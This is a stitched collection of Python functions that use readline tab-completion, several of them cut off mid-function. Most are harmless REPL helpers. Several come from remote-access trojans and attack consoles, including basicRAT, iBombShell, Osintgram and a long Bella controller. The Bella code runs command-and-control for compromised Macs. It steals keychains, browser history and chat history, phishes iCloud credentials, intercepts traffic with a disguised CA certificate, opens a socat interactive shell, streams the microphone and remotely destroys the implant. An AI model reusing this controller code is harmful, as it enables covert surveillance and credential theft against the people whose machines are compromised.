def enableAutoComplete(matchList): """ Enables tab-autocomplete functionality in user input. Parameters: matchList(list<str>): List of strings that can be matched to. """ readline.parse_and_bind("tab: complete") readline.set_completer_delims("") def complete(text, state): """ Credit Chris Siebenmann: https://bit.ly/2E0pNDB""" # generate candidate completion list if text == "": matches = matchList else: matches = [ x for x in matchList if x.lower().startswith(text.lower()) ] # return current completion match if state > len(matches): return None else: return matches[state] readline.set_completer(complete)
def main(): parser = get_parser() args = vars(parser.parse_args()) port = args['port'] client = None print(BANNER) # Start Server server = Server(port) server.setDaemon(True) server.start() print("basicRAT Server Listening for Connections on port {}.".format(port)) # Server Side Commands server_commands = { 'client' : server.select_client, 'clients' : server.list_clients, 'goodbye' : server.goodbye_server, 'help' : server.print_help, 'kill' : server.kill_client, 'quit' : server.quit_server, 'selfdestruct': server.selfdestruct_client, } def completer(text, state): commands = CLIENT_COMMANDS + [k for k, _ in server_commands.items()] options = [i for i in commands if i.startswith(text)] return options[state]+' ' if state<len(options) else None ### DEBUG # Turn Tab Completion On gnureadline.parse_and_bind('tab: complete') gnureadline.set_completer(completer) while True: ccid = server.current_client.uid if server.current_client else '?' prompt = input("\n[{}] basicRAT> ".format(ccid)).rstrip() # Allow Noop if not prompt: continue # Seperate Prompt Into Command and Action cmd, _, action = prompt.partition(' ') if cmd in server_commands: server_commands[cmd](action) elif cmd in CLIENT_COMMANDS: if ccid == '?': print("Error: No Client Selected.") continue print("Running {}...".format(cmd)) server.send_client(prompt, server.current_client) server.recv_client(server.current_client) else: print("Invalid Command, Type 'help' for More Commands.")
def init_completer(self): try: import rlcompleter readline.parse_and_bind("tab: complete") readline.set_completer_delims("") readline.write_history_file(os.path.join(dxpy.config.get_user_conf_dir(), '.dx_history')) readline.clear_history() readline.set_completer() except: pass
def repl(self): readline.parse_and_bind('tab: complete') readline.set_completer(self.complete) self.greet() a = ShowUrlsCommand() a.run(self.context, None, None, None) while True: try: line = raw_input(self.__get_prompt()).strip() except EOFError: print return except KeyboardInterrupt: print continue self.process(line)
def __init__(self): if HAVE_READLINE: readline.parse_and_bind("tab: complete") # force completor to run on first tab press readline.parse_and_bind("set show-all-if-unmodified on") readline.parse_and_bind("set show-all-if-ambiguous on") # Set our custom completer readline.set_completer(self.completer) try: readline.read_history_file(HIST_FILE) except IOError: pass self._idle = threading.Event() self._cond = threading.Condition() self._response = None self._completor_locals = [] super(REPLApplication, self).__init__(self._process_input)
def setup(self): """ Initialization of third-party libraries Setting interpreter history. Setting appropriate completer function. :return: """ if not os.path.exists(self.history_file): open(self.history_file, 'a+').close() readline.read_history_file(self.history_file) readline.set_history_length(self.history_length) atexit.register(readline.write_history_file, self.history_file) readline.parse_and_bind('set enable-keypad on') readline.set_completer(self.complete) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete")
def __init__(self): if HAVE_READLINE: readline.parse_and_bind("tab: complete") # force completor to run on first tab press readline.parse_and_bind("set show-all-if-unmodified on") readline.parse_and_bind("set show-all-if-ambiguous on") # Set our custom completer readline.set_completer(self._completer) try: readline.read_history_file(HIST_FILE) except IOError: pass self._script = None self._seqno = 0 self._ready = threading.Event() self._response_cond = threading.Condition() self._response_data = None self._completor_locals = [] super(REPLApplication, self).__init__(self._process_input)
def loop(self): log.debug('cli loop') completer = readline.get_completer() readline.set_completer(self.complete) readline.parse_and_bind(self.term.complete_key + ": complete") try: while not self.is_closed: try: line = input(self.term.prompt) except EOFError: self.close() self.service.close() else: if self.onecmd(line): self.close() self.service.close() except: log.exception('cli loop error') finally: readline.set_completer(completer) log.debug('finished cli loop -> closed: %s', self.is_closed)
def repl(self): readline.parse_and_bind('tab: complete') readline.set_completer(self.complete) self.greet() a = ShowUrlsCommand() try: a.run(self.context, None, None, None) except: output_msg(_('Cannot show GUI urls')) while True: try: line = six.moves.input(self.__get_prompt()).strip() except EOFError: print() return except KeyboardInterrupt: print() output_msg(_('User terminated command')) continue self.process(line)
def setup_fzf(): # Press Ctrl-F to search an item within iterable previous result. # Uses fzf for fast interactive search. from pyfzf import FzfPrompt _fzf = FzfPrompt() def my_completer(text, state): # Because the result does not start with `text`, # readline thinks the completion has failed and calls # my_complete again with increased `state` value. # Returning None signals that the completion is done. if state > 0: return None match = _fzf.prompt(map(repr, _)) if len(match) > 0: return text + match[0] else: return None readline.parse_and_bind('"\C-f": complete') readline.set_completer(my_completer)
try: response = self.current_candidates[state] except IndexError: response = None logging.debug('complete(%s, %s) => %s', repr(text), state, response) return response def input_loop(): line = '' while line != 'stop': line = input('Prompt ("stop" to quit): ') print('Dispatch {}'.format(line)) # Register our completer function completer = BufferAwareCompleter({ 'list': ['files', 'directories'], 'print': ['byname', 'bysize'], 'stop': [], }) readline.set_completer(completer.complete) # Use the tab key for completion readline.parse_and_bind('tab: complete') # Prompt the user for text input_loop()
def uninit_completer(self): try: readline.set_completer() readline.clear_history() except: pass
def get_input_single(param_desc): in_class = param_desc['class'] typespec = param_desc.get('type', None) print('\nInput: ' + fill(UNDERLINE() + param_desc.get('label', param_desc['name']) + ENDC() + ' (' + param_desc['name'] + ')')) print('Class: ' + param_desc['class']) if 'type' in param_desc: print('Type(s): ' + parse_typespec(param_desc['type'])) if 'suggestions' in param_desc: print(format_choices_or_suggestions('Suggestions:', param_desc['suggestions'], param_desc['class'], initial_indent='', subsequent_indent=' ')) if 'choices' in param_desc: print(format_choices_or_suggestions('Choices:', param_desc['choices'], param_desc['class'], initial_indent='', subsequent_indent=' ')) print() prompt = "Enter {_class} {value} ({hint}'" + WHITE() + BOLD() + '?' + ENDC() + "' for more options)" hint = '' if in_class in dx_data_classes: hint = '<TAB> twice for compatible ' + in_class + 's in current directory, ' elif 'suggestions' in param_desc: hint = '<TAB> twice for suggestions, ' elif 'choices' in param_desc: hint = '<TAB> twice for choices, ' prompt = prompt.format(_class=in_class, value='ID or path' if in_class in dx_data_classes else 'value', hint=hint) print(fill(prompt)) try: if in_class in dx_data_classes: from dxpy.utils.completer import DXPathCompleter readline.set_completer(DXPathCompleter(classes=[in_class], typespec=typespec).complete) elif in_class == 'boolean': from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=['true', 'false']).complete) elif 'suggestions' in param_desc: from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=map(str, param_desc['suggestions'])).complete) elif 'choices' in param_desc: from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=map(str, param_desc['choices'])).complete) else: from dxpy.utils.completer import NoneCompleter readline.set_completer(NoneCompleter().complete) except: pass try: while True: prompt = param_desc['name'] + ': ' user_input = input(prompt) if in_class == 'string': if user_input == '': user_input = [] else: user_input = [user_input] else: user_input = shlex.split(user_input) while user_input == ["?"]: user_input = interactive_help(in_class, param_desc, prompt) if len(user_input) > 1: print(fill('Error: more than one argument given. Please quote your entire input or escape your whitespace with a backslash \'\\\'.')) continue elif len(user_input) == 0: user_input = [''] try: value = parse_input_or_jbor(in_class, user_input[0]) except ValueError as details: print(fill('Error occurred when parsing for class ' + in_class + ': ' + str(details))) continue except TypeError as details: print(fill('Error occurred when parsing for class ' + in_class + ': ' + str(details))) continue if 'choices' in param_desc and value not in param_desc['choices']: print(fill(RED() + BOLD() + 'Warning:' + ENDC() + ' value "' + str(value) + '" for input ' + WHITE() + BOLD() + param_desc['name'] + ENDC() + ' is not in the list of choices for that input')) return value except EOFError: raise DXCLIError('Unexpected end of input')
def get_input_array(param_desc): in_class = param_desc['class'] if in_class.startswith("array:"): in_class = in_class[6:] typespec = param_desc.get('type', None) input_array = [] print('\nInput: ' + fill(UNDERLINE() + param_desc.get('label', param_desc['name']) + ENDC() + ' (' + param_desc['name'] + ')')) print('Class: ' + param_desc['class']) if 'type' in param_desc: print('Type(s): ' + parse_typespec(param_desc['type'])) print() prompt = "Enter {_class} values, one at a time (^D or <ENTER> to finish, {hint}'" + WHITE() + BOLD() + '?' + ENDC() + "' for more options)" hint = '' if in_class in dx_data_classes: hint = '<TAB> twice for compatible ' + in_class + 's in current directory, ' elif 'suggestions' in param_desc: hint = '<TAB> twice for suggestions, ' elif 'choices' in param_desc: hint = '<TAB> twice for choices, ' prompt = prompt.format(_class=in_class, hint=hint) print(fill(prompt)) try: if in_class in dx_data_classes: from dxpy.utils.completer import DXPathCompleter readline.set_completer(DXPathCompleter(classes=[in_class], typespec=typespec).complete) elif in_class == 'boolean': from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=['true', 'false']).complete) elif 'suggestions' in param_desc: from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=map(str, param_desc['suggestions'])).complete) elif 'choices' in param_desc: from dxpy.utils.completer import ListCompleter readline.set_completer(ListCompleter(completions=map(str, param_desc['choices'])).complete) else: from dxpy.utils.completer import NoneCompleter readline.set_completer(NoneCompleter().complete) except: pass try: while True: prompt = param_desc['name'] + '[' + str(len(input_array)) + "]: " user_input = input(prompt) if in_class == 'string': if user_input == '': user_input = [] else: user_input = [user_input] else: user_input = shlex.split(user_input) while user_input == ['?']: user_input = interactive_help(in_class, param_desc, prompt) if len(user_input) > 1: print(fill('Error: more than one argument given. Please quote your entire input or escape your whitespace with a backslash \'\\\'.')) continue elif len(user_input) == 0: return input_array try: input_array.append(parse_input_or_jbor(in_class, user_input[0])) except ValueError as details: print(fill('Error occurred when parsing for class ' + in_class + ': ' + str(details))) continue except TypeError as details: print(fill('Error occurred when parsing for class ' + in_class + ': ' + str(details))) continue except EOFError: return input_array
def init_readline(self): readline.parse_and_bind('tab: complete') readline.set_completer(complete) readline.set_completer_delims(' \t') self.init_history_file() readline.read_history_file(self.history)
else: return None def _quit(): pc.printout("Goodbye!\n", pc.RED) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) if is_windows: pyreadline.Readline().parse_and_bind("tab: complete") pyreadline.Readline().set_completer(completer) else: gnureadline.parse_and_bind("tab: complete") gnureadline.set_completer(completer) printlogo() parser = argparse.ArgumentParser( description= 'Osintgram is a OSINT tool on Instagram. It offers an interactive shell ' 'to perform analysis on Instagram account of any users by its nickname ') parser.add_argument( 'id', type=str, # var = id help='username') parser.add_argument('-j', '--json', help='save commands output as JSON file', action='store_true')
def main(): serverisRoot = False ctrlC = False active = False first_run = True logpath = 'Logs/' helperpath = '' client_log_path = '' client_name = '' clients = [] connections = [] subprocess_list = [] global file_list file_list = commands computername = '' activate = 0 columns = row_set() if not os.path.isfile("%sserver.key" % helperpath): print '\033[91mGENERATING CERTIFICATES TO ENCRYPT THE SOCKET.\033[0m\n\n' os.system( 'openssl req -x509 -nodes -days 365 -subj "/C=US/ST=Bella/L=Bella/O=Bella/CN=bella" -newkey rsa:2048 -keyout %sserver.key -out %sserver.crt' % (helperpath, helperpath)) clear() port = 4545 interactive_shell_port = 3818 print '%s%s%s%s' % (purple, bold, 'Listening for clients over port [%s]'.center( columns, ' ') % port, endC) sys.stdout.write(blue + bold) for i in progressbar(range(48), '\t ', columns - 28): time.sleep(0.05) sys.stdout.write(endC) colors = [blue, green, yellow] random.shuffle(colors) binder = socket.socket(socket.AF_INET, socket.SOCK_STREAM) binder.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) binder.bind(('', port)) binder.listen(128) #max number of connections macOS can handle while True: columns = row_set() try: #c.settimeout(4) try: #wrap before we accept #to generate certs: openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt sock, accept = ssl.wrap_socket( binder, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE, server_side=True, keyfile='%sserver.key' % helperpath, certfile='%sserver.crt' % helperpath).accept() except socket.timeout: continue except IOError as e: if e.errno == 2: print 'You must generate SSL certificates to encrypt the socket.' os.remove( '%sserver.key' % helperpath ) #openssl will create this empty, so remove junk exit() print e raise e if (accept): sock.settimeout(None) connections += [sock] clients += [accept] clear() #see how many more we can accept, clear print "%s%s%s%s\n" % (purple, bold, 'Found clients!'.center( columns, ' '), endC) if len(clients) > 0: dater = [] colorIndex = 0 for j in range(0, len(clients)): if colorIndex == len(colors): colorIndex = 0 try: send_msg( connections[j], 'get_client_info' ) #we do this because this section of this program doesnt understand the EOF construct / tuple serialization message = recv_msg(connections[j]) dater.append(message) except socket.error as e: connections = [] clients = [] break print '%s%s%s%s' % (colors[colorIndex], bold, ('[%s] %s, %s' % ((j + 1), dater[j][0], clients[j][0]) ).center(columns, ' '), endC) colorIndex += 1 print yellow + ("_" * (columns - 30)).center(columns, ' ') + endC except KeyboardInterrupt: clear() if len(clients) > 0: print "%s%s%s%s\n" % ( purple, bold, 'Enter ID to initiate connection:'.center( columns, ' '), endC) colorIndex = 0 for j in range(0, len(clients)): if colorIndex == len(colors): colorIndex = 0 print '%s%s%s%s' % (colors[colorIndex], bold, ('[%s] %s, %s' % ((j + 1), dater[j][0], clients[j][0]) ).center(columns, ' '), endC) colorIndex += 1 print yellow + ("_" * (columns - 30)).center(columns, ' ') + endC while True: try: activate = input() try: clients[activate - 1][0] except IndexError: print "Client [%s] does not exist. Try again." % activate continue break except SyntaxError, e: print "Enter a client number." continue clear() if activate == 0: subprocess_cleanup(subprocess_list) print 'Exiting...' exit() activate -= 1 #so array doesnt get thrown off ipadrr = clients[activate][0] active = True for i, x in enumerate(clients): if i != activate: #print 'Rejecting Connection from [%s, %s]' % clients[i] connections[i].close() print '%sAccepting%s Connection from [%s%s%s] at [%s%s%s]' % ( yellow, endC, yellow, dater[i][0].split("->")[0], endC, yellow, clients[i][0], endC) send_msg(connections[activate], 'initializeSocket') first_run = True now = datetime.datetime.now() while active: try: columns = row_set() if ctrlC: if process_running: send_msg( connections[activate], 'sigint9kill' ) #this will kill their blocking program, reset our data while 1: x = recv_msg(connections[activate]) if x: if x[0] == 'terminated': break continue data = "\n" ctrlC = False else: (data, isFinished) = recv_msg(connections[activate]) if not isFinished: print data, #print it and continue string_log(data, client_log_path, client_name) continue #just go back to top and keep receiving nextcmd = '' process_running = False if type(data) == type(None): active = False print "\n%s%sLost connection to server.%s" % (red, bold, endC) if first_run == True: is_server_rooted = False if data == 'payload_request_SBJ129': print 'Payloads requested. Sending payloads...' with open('Payloads/payloads.txt', 'rb') as content: payloads = content.read() nextcmd = 'payload_response_SBJ29:::%s' % payloads workingdir, client_name, computername, client_log_path = ( '', ) * 4 elif not data.splitlines()[0].startswith( "bareNeccesities"): basicInfo = data.splitlines() if basicInfo[0] == 'ROOTED': is_server_rooted = True basicInfo.remove('ROOTED') computername = basicInfo[0] #hostname via scutil client_name = basicInfo[1] #username via whoami workingdir = basicInfo[2] #cwd via pwd last_login = basicInfo[3] #last login read via DB uptime = basicInfo[4] #bella uptime client_log_path = "%s%s/%s/" % (logpath, computername, client_name) if not os.path.exists(client_log_path): os.makedirs(client_log_path) first_run = False print 'Last Connected: %s -- %s' % (last_login, uptime) else: computername = data.splitlines()[ 1] #hostname via scutil client_name = data.splitlines()[ 2] #username via whoami workingdir = data.splitlines()[3] #cwd via pwd client_log_path = "%s%s/%s/" % (logpath, computername, client_name) if not os.path.exists(client_log_path): os.makedirs(client_log_path) first_run = False elif data.startswith('cwdcwd'): sdoof = data.splitlines() workingdir = sdoof[0][6:] file_list = map(str.lower, sdoof[1:]) + sdoof[1:] + commands string_log(workingdir + '\n', client_log_path, client_name) elif data.startswith('downloader'): (fileContent, file_name) = pickle.loads(data[10:]) downloader(fileContent, file_name, client_log_path, client_name) elif data.startswith("mitmReady"): os.system("osascript >/dev/null <<EOF\n\ tell application \"Terminal\"\n\ do script \"mitmproxy -p 8081 --cadir %s\"\n\ end tell\n\ EOF" % helperpath) print 'MITM-ing. RUN mitm_kill AFTER YOU CLOSE MITMPROXY OR THE CLIENT\'S INTERNET WILL NOT WORK.' elif data.startswith('keychain_download'): keychains = pickle.loads(data[17:]) for x in keychains: (keychainName, keychainData) = pickle.loads( x) #[keychainName, keychainData] downloader(keychainData, keychainName, client_log_path, client_name, 'Keychains') elif data.startswith('interactive_shell_init'): while socat_PID.poll() == None: #it is alive time.sleep(1) #just wait a bit, check again. print '%sInteractive shell closed. Welcome back to Bella.' % bluePlus elif data.startswith('appleIDPhishHelp'): content = pickle.loads(data[16:]) if len(content[0]) > 0: print "%sFound the following iCloud accounts.\n%s\nWhich would you like to use to phish current GUI user [%s]?" % ( bluePlus, content[0], content[1]) appleID = content[0].split(' Apple ID: [')[1][:-2] else: print "%sCouldn't find any iCloud accounts.\nEnter one manually to phish current GUI user [%s]" % ( bluePlus, content[1]) appleID = '' username = raw_input("Enter iCloud Account: ") or appleID if username == '': print 'No username specified, cancelling Phish' nextcmd = '' else: print "Phishing [%s%s%s]" % (blue, username, endC) nextcmd = "iCloudPhishFinal%s:%s" % (username, content[1]) elif data.startswith('screenCapture'): screen = data[13:] if screen == "error": print "%sError capturing screenshot!" % redX else: fancyTime = time.strftime("_%m-%d_%H_%M_%S") os.system("mkdir -p %sScreenshots" % client_log_path) with open( "%sScreenshots/screenShot%s.png" % (client_log_path, fancyTime), "w") as shot: shot.write(base64.b64decode(screen)) time.sleep(1) print "%sGot screenshot [%s]" % (greenCheck, fancyTime) elif data.startswith('C5EBDE1F'): deserialize = pickle.loads(data[8:]) for x in deserialize: ( name, data ) = x #name will be the user, which we're going to want on the path downloader( bz2.decompress(data), 'ChatHistory_%s.db' % time.strftime("%m-%d_%H_%M_%S"), client_log_path, client_name, 'Chat/%s' % name) print "%sGot macOS Chat History" % greenCheck elif data.startswith('6E87CF0B'): deserialize = pickle.loads(data[8:]) for x in deserialize: ( name, data ) = x #name will be the user, which we're going to want on the path downloader( bz2.decompress(data), 'history_%s.txt' % time.strftime("%m-%d_%H_%M_%S"), client_log_path, client_name, 'Safari/%s' % name) print "%sGot Safari History" % greenCheck elif data.startswith('lserlser'): (rawfile_list, filePrint) = pickle.loads(data[8:]) widths = [max(map(len, col)) for col in zip(*filePrint)] for fileItem in filePrint: line = " ".join( (val.ljust(width) for val, width in zip(fileItem, widths) )) #does pretty print print line string_log(line, client_log_path, client_name) elif data.startswith('updated_client_name'): old_computer_name = computername computername = data.split(":::")[1] print 'Moving [%s%s] to [%s%s]' % ( logpath, old_computer_name, logpath, computername) os.rename("%s%s" % (logpath, old_computer_name), "%s%s" % (logpath, computername)) client_log_path = "%s%s/%s/" % (logpath, computername, client_name) print data.split(":::")[2], string_log(data, client_log_path, client_name) else: if len(data) == 0: sys.stdout.write('') else: print data, string_log(data, client_log_path, client_name) """Anything above this comment is what the server is sending us.""" ################################################################# """Anything below this comment is what we are sending the server.""" if data.startswith('Exit') == True: active = False subprocess_cleanup(subprocess_list) print "\n%s%sGoodbye.%s" % (blue, bold, endC) exit() else: if is_server_rooted: client_name_formatted = "%s%s@%s%s" % ( red, client_name, computername, endC) else: client_name_formatted = "%s%s@%s%s" % ( green, client_name, computername, endC) if workingdir.startswith("/Users/" + client_name.lower( )) or workingdir.startswith("/Users/" + client_name): pathlen = 7 + len( client_name) #where 7 is our length of /Users/ workingdir = "~" + workingdir[ pathlen:] #change working dir to ~[/users/name:restofpath] (in that range) workingdirFormatted = blue + workingdir + endC if macOS_rl: if platform.system() == 'Linux': readline.parse_and_bind("tab: complete") readline.set_completer(tab_parser) else: readline.parse_and_bind("bind ^I rl_complete") readline.set_completer(tab_parser) else: gnureadline.parse_and_bind("tab: complete") gnureadline.set_completer(tab_parser) if nextcmd == "": try: nextcmd = raw_input( "[%s]-[%s] " % (client_name_formatted, workingdirFormatted)) string_log( "[%s]-[%s] %s" % (client_name, workingdirFormatted, nextcmd), client_log_path, client_name) except EOFError, e: nextcmd = "exit" else: pass if nextcmd == "removeserver_yes": verify = raw_input( "Are you sure you want to delete [%s]?\n🦑 This cannot be un-done. (Y/n): " % computername) if verify.lower() == "y": print "%s%sRemote server is being removed and permanently deleted.%s" % ( red, bold, endC) nextcmd = "removeserver_yes" print "%s%sDestruct routine successfully sent. Server is destroyed.%s" % ( red, bold, endC) else: print "Not deleting server." nextcmd = "" if nextcmd == "interactive_shell": if platform.system() == 'Linux': print 'This function is not yet available for Linux systems.' else: print "%sStarting interactive shell over port [%s].\n%sPress CTRL-D *TWICE* to close.\n%sPre-built Bella functions will not work in this shell.\n%sUse this shell to run commands such as sudo, nano, telnet, ftp, etc." % ( bluePlus, interactive_shell_port, bluePlus, yellow_star, bluePlus) socat_PID = subprocess.Popen( "socat -s `tty`,raw,echo=0 tcp-listen:%s" % interactive_shell_port, shell=True) #start listener time.sleep(.5) if socat_PID.poll(): print "%sYou need to install 'socat' on your Control Center to use this feature.\n" % redX nextcmd = "" else: nextcmd = "interactive_shell:::%s" % interactive_shell_port if nextcmd == "cls": file_list = commands nextcmd = "" if nextcmd == ("mitm_start"): try: import mitmproxy except ImportError: print 'You need to install the python library "mitmproxy" to use this function.' nextcmd = '' if not os.path.isfile("%smitm.crt" % helperpath): print "%sNo local Certificate Authority found.\nThis is necessary to decrypt TLS/SSL traffic.\nFollow the steps below to generate the certificates.%s\n\n" % ( red, endC) os.system("openssl genrsa -out mitm.key 2048") print "%s\n\nYou can put any information here. Common Name is what will show up in the Keychain, so you may want to make this a believable name (IE 'Apple Security').%s\n\n" % ( red, endC) os.system( "openssl req -new -x509 -key mitm.key -out mitm.crt" ) os.system( "cat mitm.key mitm.crt > mitmproxy-ca.pem") os.remove("mitm.key") #mitm.crt is the cert we will install on remote client. #mitmproxy-ca.pem is for mitmproxy print '%sGenerated all certs. Sending over to client.%s' % ( green, endC) with open('%smitm.crt' % helperpath, 'r') as content: cert = content.read() print 'Found the following certificate:' for x in subprocess.check_output( "keytool -printcert -file %smitm.crt" % helperpath, shell=True).splitlines(): if 'Issuer: ' in x: print "%s%s%s" % (lightBlue, x, endC) interface = raw_input( "🚀 Specify an interface to MITM [Press enter for Wi-Fi]: " ).replace("[", "").replace("]", "") or "Wi-Fi" nextcmd = "mitm_start:::%s:::%s" % (interface, cert) if nextcmd == ("mitm_kill"): for x in subprocess.check_output( "keytool -printcert -file %smitm.crt" % helperpath, shell=True).splitlines(): if 'SHA1: ' in x: certsha = ''.join(x.split(':')[1:]).replace( ' ', '') break certsha = False if not certsha: print 'Could not find certificate to delete. You may see some warnings.' interface = raw_input( "🎯 Specify an interface to stop MITM [Press enter for Wi-Fi]: " ).replace("[", "").replace("]", "") or "Wi-Fi" nextcmd = "mitm_kill:::%s:::%s" % (interface, certsha) if nextcmd == "clear": clear() nextcmd = "printf ''" if nextcmd == "restart": nextcmd = "osascript -e 'tell application \"System Events\" to restart'" if nextcmd == "set_client_name": nextcmd += ":::" + ( raw_input("🐷 Please specify a client name: ") or computername) if nextcmd == "update_server": if nextcmd == "update_server": #no stdin local_file = raw_input( "📡 Enter full path to new server on local machine: " ) else: local_file = nextcmd[14:] #take path as stdin local_file = subprocess.check_output( 'printf %s' % local_file, shell=True ) #get the un-escaped version for python recognition if os.path.isfile(local_file): with open(local_file, 'rb') as content: new_server = content.read() nextcmd = "update_server%s" % pickle.dumps( new_server) else: print "Could not find [%s]!" % local_file nextcmd = '' if nextcmd == "disableKM": print "[1] Keyboard | [2] Mouse" device = raw_input( "Which device would you like to disable? ") if device == "1": nextcmd = "disableKMkeyboard" elif device == "2": nextcmd = "disableKMmouse" else: nextcmd = "printf 'You must specify a device [1] || [2].\n'" if nextcmd == "enableKM": print "[1] Keyboard | [2] Mouse" device = raw_input( "Which device would you like to enable? [BUGGY, MAY CAUSE KERNEL PANIC] " ) if device == "1": nextcmd = "enableKMkeyboard" elif device == "2": nextcmd = "enableKMmouse" else: nextcmd = "printf 'You must specify a device [1] || [2].\n'" if nextcmd == "shutdown": nextcmd = "osascript -e 'tell application \"System Events\" to shut down'" if nextcmd == "mike_stream": if platform.system() == 'Linux': print '%sThere is not yet Linux support for a microphone stream.' % redX nextcmd = '' else: try: if not os.path.exists(client_log_path + 'Microphone'): os.makedirs(client_log_path + 'Microphone') subprocess.check_output( "osascript >/dev/null <<EOF\n\ tell application \"Terminal\"\n\ ignoring application responses\n\ do script \"nc -l 2897 | tee '%s%s%s' 2>&1 | %s/Payloads/speakerpipe\"\n\ end ignoring\n\ end tell\n\ EOF" % (client_log_path, 'Microphone/', time.strftime("%b %d %Y %I:%M:%S %p"), os.getcwd()), shell=True ) #tee the output for later storage, and also do an immediate stream except subprocess.CalledProcessError as e: pass #this is expected 'execution error: Can't get end' except Exception as e: print 'Error launching listener.\n[%s]' % e nextcmd = '' if nextcmd == "shutdown_server": nextcmd = "" if raw_input( "Are you sure you want to shutdown the server?\nThis will unload all LaunchAgents: (Y/n) " ).lower() == "y": nextcmd = "shutdownserver_yes" if nextcmd == "vnc": if platform.system() == 'Linux': print '%sThere is not yet Linux support for a reverse VNC connection.' % redX #"wget https://www.realvnc.com/download/file/vnc.files/VNC-6.0.2-Linux-x64-ANY.tar.gz" #tar -zxvf VNCfiles #mv VNCfiles Payloads/ #fork process nextcmd = '' else: vnc_port = 5500 nextcmd = "vnc_start:::%s" % vnc_port proc = subprocess.Popen( "/Applications/VNC\ Viewer.app/Contents/MacOS/vncviewer -listen %s" % vnc_port, shell=True) subprocess_list.append(proc.pid) if nextcmd == "volume": vol_level = str( raw_input("Set volume to? (0[low]-7[high]) ")) nextcmd = "osascript -e \"Set Volume \"" + vol_level + "" if nextcmd == "sysinfo": nextcmd = 'scutil --get LocalHostName; whoami; pwd; echo "----------"; sw_vers; ioreg -l | awk \'/IOPlatformSerialNumber/ { print "SerialNumber: \t" $4;}\'; echo "----------";sysctl -n machdep.cpu.brand_string; hostinfo | grep memory; df -h / | grep dev | awk \'{ printf $3}\'; printf "/"; df -h / | grep dev | awk \'{ printf $2 }\'; echo " HDD space used"; echo "----------"; printf "Local IP: "; ipconfig getifaddr en0; ipconfig getifaddr en1; printf "Current Window: "; python -c \'from AppKit import NSWorkspace; print NSWorkspace.sharedWorkspace().frontmostApplication().localizedName()\'; echo "----------"' if nextcmd.startswith("upload"): #uploads to CWD. if nextcmd == "upload": local_file = raw_input( "🌈 Enter full path to file on local machine: " ) else: local_file = nextcmd[7:] #take path as stdin local_file = subprocess.check_output( 'printf %s' % local_file, shell=True ) #get the un-escaped version for python recognition if os.path.isfile(local_file): with open(local_file, 'rb') as content: sendFile = content.read() file_name = content.name.split('/')[ -1] #get absolute file name (not path) file_name = raw_input( "Uploading file as [%s]. Enter new name if desired: " % file_name) or file_name nextcmd = "uploader%s" % pickle.dumps( (sendFile, file_name)) else: print "Could not find [%s]!" % local_file nextcmd = '' if nextcmd.startswith("download"): #uploads to CWD. if nextcmd == "download": remote_file = raw_input( "🐸 Enter path to file on remote machine: ") else: remote_file = nextcmd[9:] #take path as stdin nextcmd = 'download' + remote_file if len(nextcmd) == 0: nextcmd = "printf ''" send_msg(connections[activate], nextcmd) #bring home the bacon process_running = True
logging.debug('complete(%s, %s) => %s', repr(text), state, repr(response)) return response def input_loop(): if os.path.exists(HISTORY_FILENAME): readline.read_history_file(HISTORY_FILENAME) print('Max history file length:', readline.get_history_length()) print('Startup history:', get_history_items()) try: while True: line = input('Prompt ("stop" to quit): ') if line == 'stop': break if line: print('Adding {!r} to the history'.format(line)) finally: print('Final history:', get_history_items()) readline.write_history_file(HISTORY_FILENAME) # Register our completer function readline.set_completer(HistoryCompleter().complete) # Use the tab key for completion readline.parse_and_bind('tab: complete') # Prompt the user for text input_loop()
self.current_candidates = [] try: response = self.current_candidates[state] except IndexError: response = None logging.debug('complete(%s, %s) => %s', repr(text), state, response) return response def input_loop(): line = '' while line != 'stop': line = input('Prompt ("stop" to quit): ') print('Dispatch {}'.format(line)) # Register our completer function completer = BufferAwareCompleter({ 'list': ['files', 'directories'], 'print': ['byname', 'bysize'], 'stop': [], }) readline.set_completer(completer.complete) # Use the tab key for completion readline.parse_and_bind('tab: complete') # Prompt the user for text input_loop()
def input_loop(): if os.path.exists(HISTORY_FILENAME): readline.read_history_file(HISTORY_FILENAME) print('Lunghezza max file storico:', readline.get_history_length()) print('Storico di partenza:', get_history_items()) try: while True: line = input('Prompt ("stop" per uscire): ') if line == 'stop': break if line: print('Aggiunta di {!r} allo storico'.format(line)) finally: print('Storico finale:', get_history_items()) readline.write_history_file(HISTORY_FILENAME) # Registra la funzione di completamento readline.set_completer(HistoryCompleter().complete) # Uso del tasto tab per il completamento readline.parse_and_bind('tab: complete') # Prompt all'utente per il testo input_loop()
def console(): # Configuring the commpleter comp = Completer(['load', 'set', 'show', 'run', 'back', 'warriors', 'quit', 'help']) gnureadline.set_completer_delims(' \t\n;') gnureadline.parse_and_bind("tab: complete") gnureadline.set_completer(comp.complete) print (banners.get_banner()) cprint(' [+]', 'yellow', end='') print (' Starting the console...') cprint(' [*]', 'green', end='') print (' Console ready!\n') session = None while True: if session is None: # With termcolor not work colors # user_input = input( # colored('iBombShell> ', 'green', attrs=['bold'])).split() # /* Definitions available for use by readline clients. */ # define RL_PROMPT_START_IGNORE '\001' # define RL_PROMPT_END_IGNORE '\002' user_input = input('\001\033[1;32m\002iBombShell> \001\033[0m\002').split() else: # user_input = input( # "iBombShell[" # + colored(session.header(), 'green', attrs=['bold']) # + "]> ").split() user_input = input('iBombShell[' + '\001\033[1;32m\002' + session.header() + '\001\033[0m\002' + ']> ').split() if user_input == []: continue elif user_input[0] in CLEAR_COMMANDS: os.system('cls' if os.name=='nt' else 'clear') elif user_input[0] == 'back': session = None elif user_input[0] == 'warriors': i = 0 for p in Path("/tmp/").glob("ibs-*"): i += 1 cprint(str(p)[9:], 'yellow') if i == 0: cprint('[!] Warriors haven\'t been found...', 'red') elif user_input[0] in END_COMMANDS: cprint('[+] Killing warriors...', 'green') for p in Path("/tmp/").glob("ibs-*"): p.unlink() cprint('[+] Exit...', 'green') os._exit(-1) elif user_input[0] == 'load': if (len(user_input) == 1): cprint('[!] Please, load a module', 